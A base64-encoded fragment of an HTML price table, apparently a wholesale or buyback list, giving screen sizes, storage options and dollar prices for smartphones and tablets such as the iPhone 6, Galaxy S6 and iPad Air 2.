Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0 OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRs ZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PmlQ aG9uZSZuYnNwOzYmbmJzcDtQbHVzPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0 OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRs ZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjUu NS1pbmNoJm5ic3A7MTZHQi82NEdCLzEyOEdCPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpF OiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjog bWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQyODAvMjg1 LzI5NTwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTog MTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBt aWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49 Nj5pUGhvbmUmbmJzcDs2PC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlH SFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09M T1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjQuNy1pbmNo Jm5ic3A7MTZHQi82NEdCLzEyOEdCPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0 OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxl OyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQyNzAvMjc1LzI4NTwv VEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsg SEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7 IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5pUGhv bmUmbmJzcDs2UzwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAx NC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiBy Z2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT40LjUtaW5jaCZuYnNw OzE2R0IvPFNQQU4gc3R5bGU9IkZPTlQtU0laRTogMTRweCI+NjRHQi8xMjhHQjwvU1BBTj48 L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lE VEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBo ZWlnaHQ9MTkgd2lkdGg9NzI+JDMwMC8zMjAvMzUwPC9URD48L1RSPg0KPFRSIGhlaWdodD0x OT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRI OiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhl aWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PlNhbXN1bmcmbmJzcDtHQUxBWFkmbmJzcDtT NjwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBX SURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDAp IiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT41LjEtaW5jaCZuYnNwOzMyR0I8L1RE Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6 IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWln aHQ9MTkgd2lkdGg9NzI+JDI4NSZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8 VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0 cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9 MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5TYW1zdW5nJm5ic3A7R0FMQVhZJm5ic3A7UzYmbmJz cDtFZGdlPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1 cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigw LDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjUuMS1pbmNoJm5ic3A7MzJH Qi82NEdCPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1 cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAs MCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQyOTAvMjk1PC9URD48L1RSPg0KPFRSIGhlaWdo dD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJ RFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCki IGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PlNhbXN1bmcmbmJzcDtHQUxBWFkmbmJz cDtOb3RlJm5ic3A7RWRnZTwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJ R0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENP TE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT41LjYtaW5j aCZuYnNwOzMyR0I8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDog MTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiBy Z2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDI4MCZuYnNwOzwvVEQ+PC9UUj4NCjxU UiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4y NXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2Io MCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5TYW1zdW5nJm5ic3A7R0FM QVhZJm5ic3A7Tm90ZSZuYnNwOzQ8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7 IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxl OyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+NS43 LWluY2gmbmJzcDszMkdCPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlH SFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xP UjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQyNjAmbmJzcDs8L1REPjwvVFI+ DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDog MTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjog cmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+U2Ftc3VuZyZuYnNw O0dBTEFYWSZuYnNwO1M1PC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlH SFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09M T1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjUuMS1pbmNo Jm5ic3A7MTZHQjwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAx NC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJn YigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kMjA1Jm5ic3A7PC9URD48L1RSPg0KPFRS IGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1 cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigw LDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PlNhbXN1bmcmbmJzcDtXMjAx NTwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBX SURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDAp IiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT4zLjktaW5jaCZuYnNwOzE2R0I8L1RE Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6 IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWln aHQ9MTkgd2lkdGg9NzI+JDE1MCZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8 VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0 cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9 MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5CbGFja0JlcnJ5Jm5ic3A7WjEwPC9URD4NCjxURCBz dHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsg VkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3 aWR0aD0zNjAgY29sU3Bhbj01PjQuMi1pbmNoJm5ic3A7MTZHQjwvVEQ+DQo8VEQgc3R5bGU9 IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElD QUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03 Mj4kMTMwJm5ic3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9O VC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwt QUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIg Y29sU3Bhbj02PkJsYWNrQmVycnkmbmJzcDtQYXNzcG9ydDwvVEQ+DQo8VEQgc3R5bGU9IkZP TlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FM LUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYw IGNvbFNwYW49NT40LjUtaW5jaCZuYnNwOzMyR0I8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJ WkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdO OiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDE5MCZu YnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTog MTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBt aWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49 Nj5Tb255Jm5ic3A7WHBlcmlhJm5ic3A7WjM8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6 IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjog bWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFu PTU+NS4yLWluY2gmbmJzcDsxNkdCPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0 OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxl OyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQxNTAmbmJzcDs8L1RE PjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhF SUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBD T0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+Tm9raWEm bmJzcDtMdW1pYSZuYnNwOzkzMDwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsg SEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7 IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT41LjAt aW5jaCZuYnNwOzMyR0I8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdI VDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9S OiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDc1Jm5ic3A7PC9URD48L1RSPg0K PFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0 LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJn YigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02Pkh1YXdlaSZuYnNwO01h dGUmbmJzcDs3PC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0 LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJn YigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjYuMC1pbmNoJm5ic3A7 MzJHQjwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0 OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAs MCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kODUmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0 PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lE VEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIg aGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+TW90b3JvbGEmbmJzcDtNb3RvJm5ic3A7 WDwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBX SURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDAp IiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT41LjItaW5jaCZuYnNwOzMyR0I8L1RE Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6 IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWln aHQ9MTkgd2lkdGg9NzI+JDMwJm5ic3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxU RCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRw dDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0x OSB3aWR0aD00MzIgY29sU3Bhbj02Pk9uZVBsdXMmbmJzcDtPbmU8L1REPg0KPFREIHN0eWxl PSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJU SUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRo PTM2MCBjb2xTcGFuPTU+NS41LWluY2gmbmJzcDs2NEdCPC9URD4NCjxURCBzdHlsZT0iRk9O VC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1B TElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQ0 NSZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0la RTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdO OiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNw YW49Nj5Nb3Rvcm9sYSZuYnNwO0dvb2dsZSZuYnNwO05leHVzJm5ic3A7NjwvVEQ+DQo8VEQg c3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7 IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkg d2lkdGg9MzYwIGNvbFNwYW49NT42LjAtaW5jaCZuYnNwOzY0R0I8L1REPg0KPFREIHN0eWxl PSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJ Q0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9 NzI+JDUwJm5ic3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9O VC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwt QUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIg Y29sU3Bhbj02PjwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAx NC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiBy Z2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT48L1REPg0KPFREIHN0 eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZF UlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lk dGg9NzI+PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpF OiAxMXB0OyBURVhULURFQ09SQVRJT046IHVuZGVybGluZTsgSEVJR0hUOiAxNC4yNXB0OyBX SURUSDogNjQ4cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMjU1LDAs MCk7IEZPTlQtU1RZTEU6IGl0YWxpYyIgaGVpZ2h0PTE5IHdpZHRoPTg2NCBjb2xTcGFuPTEy PlRhYmxlJm5ic3A7UEMvTUlEJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0x OT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRI OiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhl aWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PkFwcGxlJm5ic3A7aVBhZCZuYnNwO0FpciZu YnNwOzImbmJzcDtXaS1GaStDZWxsdWxhcjwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTog MTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBt 